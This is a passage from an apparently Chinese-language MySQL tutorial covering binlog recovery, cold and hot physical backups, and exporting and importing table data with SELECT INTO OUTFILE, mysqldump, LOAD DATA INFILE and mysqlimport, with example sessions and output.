上面的第一行将恢复到停止位置为止的所有事务。下一行将恢复从给定的起始位置直到二进制日志结束的所有事务。因为 mysqlbinlog 的输出包括每个 sql 语句记录之前的 set timestamp 语句,因此恢复的数据和相关的 mysql 日志将反应事务执行的原时间。

三、物理备份和恢复

物理备份又分为冷备份和热备份两种,和逻辑备份相比,它的最大优点是备份和恢复的速度更快,因为物理备份的原理都是基于文件的 cp。

1. 冷备份

冷备份其实就是停掉数据库服务,cp 数据文件的方法。(基本不考虑这种方法)

2. 热备份

在 MySQL 中,对于不同的存储引擎热备份的方法也有所不同。

(1) myisam 存储引擎

myisam 存储引擎的热备份有很多方法,本质其实就是将要备份的表加读锁,然后再 cp 数据文件到备份目录。常用的有以下两种方法:

  • 使用 mysqlhotcopy 工具
// mysqlhotcopy 是 MySQL 的一个自带的热备份工具  
shell> mysqlhotcopy db_name [/path/to/new_directory]
  • 手工锁表 copy
// 在 mysqlhotcopy 使用不正常的情况下,可以用手工来做热备份

mysql>flush tables for read;

cp 数据文件到备份目录即可,

(2) innodb 存储引擎(另写)

使用第三方工具 ibbackup、xtrabackup、innobacupex

四、 表的导入导出

在数据库的日常维护中,表的导入导出时很频繁的一类操作。

1. 导出

在某些情况下,为了一些特定的目的,经常需要将表里的数据导出为某些符号分割的纯数据文本,而不是 sql 语句:

  • 用来作为 Excel 显示;

  • 单纯为了节省备份空间;

  • 为了快速的加载数据,load data 的加载速度比普通 sql 加载要快 20 倍以上。

使用 select …into outfile … 命令来导出数据,具体语法如下:

mysql> select * from tablename into outfile 'target_file' [option];

其中 option 参数可以是以下选项:

fields terminated by 'string'                   // 字段分隔符,默认为制表符't'
fields [optionally] enclosed by 'char'          // 字段引用符,如果加 optionally 选项则只用在 char、varchar 和 text 等字符型字段上,默认不使用引用符  
fields escaped by ‘char’                        // 转移字符、默认为 ''  
lines starting by 'string'                      // 每行前都加此字符串,默认''  
lines terminated by 'string'                    // 行结束符,默认为'n'  

# char 表示此符号只能是单个字符,string表示可以是字符串。

例如,将 test 表中数据导出为数据文本,其中,字段分隔符为“,”,字段引用符为“””,记录结束符为回车符:

MySQL [t2]> select * from test into outfile '/data/mysql/outfile.txt' fields terminated by "," enclosed by '"';
Query OK, 4 rows affected (0.02 sec)
zj@bogon:/data/mysql$ more outfile.txt 
"1","a","helloworld"
"2","b","helloworld"
"3","c","helloworld"
"4","d","helloworld"

发现第一列是数值型,如果不希望字段两边用引号引起,则语句改为:

MySQL [t2]> select * from test into outfile '/data/mysql/outfile2.txt' fields terminated by "," optionally  enclosed by '"';
Query OK, 4 rows affected (0.03 sec)

zj@bogon:/data/mysql$ more outfile2.txt 
1,"a","helloworld"
2,"b","helloworld"
3,"c","helloworld"
4,"d","helloworld"

测试转义字符,MySQL 导出数据中需要转义的字符主要包括以下 3 类:

  • 转义字符本身

  • 字段分隔符

  • 记录分隔符

MySQL [t2]> update test set content = '\"##!aa' where  id=1;
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MySQL [t2]> select * from test into outfile '/data/mysql/outfile3.txt' fields terminated by "," optionally enclosed by '"';
Query OK, 4 rows affected (0.03 sec)

*******************************************
zj@bogon:/data/mysql$ more outfile3.txt 
1,"a","\"##!aa"
2,"b","helloworld"
3,"c","helloworld"
4,"d","helloworld"
  • 当导出命令中包含字段引用符时,数据中含有转义字符本身和字段引用符的字符需要被转义;

  • 当导出命令中不包含字段引用符时,数据中含有转义字符本身和字段分割符的字符需要被转义。

注意: select … into outfile … 产生的输出文件如果在目标目录下有重名文件,将不会被创建成功,源文件不会被自动覆盖。

使用 mysqldump 导出数据为文本的具体语法如下:

mysqldump -u username -T target_dir dbname tablename [option]

其中,option 参数可以是以下选项:

  • –fields-terminated-by=name (字段分隔符);

  • –fields-enclosed-by=name (字段引用符);

  • –fields-optionally-enclosed-by=name (字段引用符,只用在 char、varchar 和 test 等字符型字段上);

  • –fields-escaped-by=name (转义字符);

  • –lines-terminated-by=name (记录结束符);

例子:

root@bogon:/usr/local/mysql/bin# ./mysqldump -uroot -p -T /data/mysql/dump t2 test --fields-terminated-by ',' --fields-optionally-enclosed-by '"'

**************** test.txt **********************
zj@bogon:/data/mysql/dump$ more test.txt 
1,"a","\"##!aa"
2,"b","helloworld"
3,"c","helloworld"
4,"d","helloworld"

***************** test.sql *********************
zj@bogon:/data/mysql/dump$ more test.sql 
-- MySQL dump 10.13  Distrib 5.7.18, for Linux (x86_64)
--
-- Host: localhost    Database: t2
-- ------------------------------------------------------
-- Server version    5.7.18-log

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `test`
--

DROP TABLE IF EXISTS `test`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `test` (
  `id` int(11) DEFAULT NULL,
  `name` varchar(10) DEFAULT NULL,
  `content` varchar(100) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;

/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2017-09-25 11:14:06

可以发现,除多了一个表的创建脚本文件,mysqldump 和 select … into outfile … 的选项和语法非常相似。其实 mysqldump 实际调用的就是后者提供的接口,并在其上面添加了一些新的功能而已。

2. 导入

(导入用 select … into outfile 或者 mysqldump 导出的纯数据文本)

和导出类似,导入也有两种不同的方法,分别是 load data infile… 和 mysqlimport,它们的本质是一样的,区别只是在于一个在 MySQL 内部执行,另一个在 MySQL 外部执行。

使用 “load data infile…” 命令,具体语法如下

mysql> load data [local]infile 'filename' into table tablename [option]  

option 可以是以下选项:

  • fields terminated by ‘string’ (字段分割符,默认为制表符’t’);

  • fields [optionally] enclosed by ‘char’ (字段引用符,如果加 optionally 选项则只用在 char varchar text 等字符型字段上。默认不使用引用符);

  • fields escaped by ‘char’ (转义字符,默认为”)

  • lines starting by ‘string’ (每行前都加此字符串,默认为”)

  • lines terminated by ‘string’ (行结束符,默认为’n’)

  • ignore number lines (忽略输入文件中的前几行数据)

  • (col_name_or_user_var,…) (按照列出的字段顺序和字段数量加载数据);

  • set col_name = expr,…将列做一定的数值转换后再加载。

fields 、lines 和前面 select…into outfile…的含义完全相同,不同的是多了几个不同的选项,下面的例子将文件’test.txt’中的数据加载到表 test 中:

// 清空表 test  
MySQL [t2]> truncate table test;
Query OK, 0 rows affected (0.07 sec)

MySQL [t2]> load data infile '/data/mysql/outfile.txt' into table test fields terminated by ',' enclosed by '"';
Query OK, 4 rows affected (0.10 sec)
Records: 4  Deleted: 0  Skipped: 0  Warnings: 0


MySQL [t2]> select * from test;
+------+------+------------+
| id   | name | content    |
+------+------+------------+
|    1 | a    | helloworld |
|    2 | b    | helloworld |
|    3 | c    | helloworld |
|    4 | d    | helloworld |
+------+------+------------+
4 rows in set (0.00 sec)

如果不希望加载文件中的前两行,可以进行如下操作:

MySQL [t2]> truncate table test;
Query OK, 0 rows affected (0.02 sec)

MySQL [t2]> load data infile '/data/mysql/outfile.txt' into table test fields terminated by ',' enclosed by '"' ignore 2 lines;
Query OK, 2 rows affected (0.00 sec)
Records: 2  Deleted: 0  Skipped: 0  Warnings: 0

MySQL [t2]> select * from test;
+------+------+------------+
| id   | name | content    |
+------+------+------------+
|    3 | c    | helloworld |
|    4 | d    | helloworld |
+------+------+------------+
2 rows in set (0.02 sec)

使用 mysqldump 实现

语法:

shell> mysqlimport -uroot -p [--local] dbname order_tab.txt [option]  

其中,option 参数可以是以下选项:

  • –fields-terminated-by=name (字段分隔符)

  • –fields-enclosed-by=name (字段引用符)

  • –fields-optionally-enclosed-by=name (字段引用符,只用在 char、varchar、text等字符型字段上)

  • –fields-escaped-by=name (转义字符)

  • –lines-terminated-by=name (记录结束符)

  • –ignore-lines=number (忽略前几行)

注意:

如果导入和导出时跨平台操作的(windows 和 linux),那么要注意设置参数 line-terminated-by,windows 上设置为 line-terminated-by=’rn’, linux 上设置为 line-terminated-by=’n’。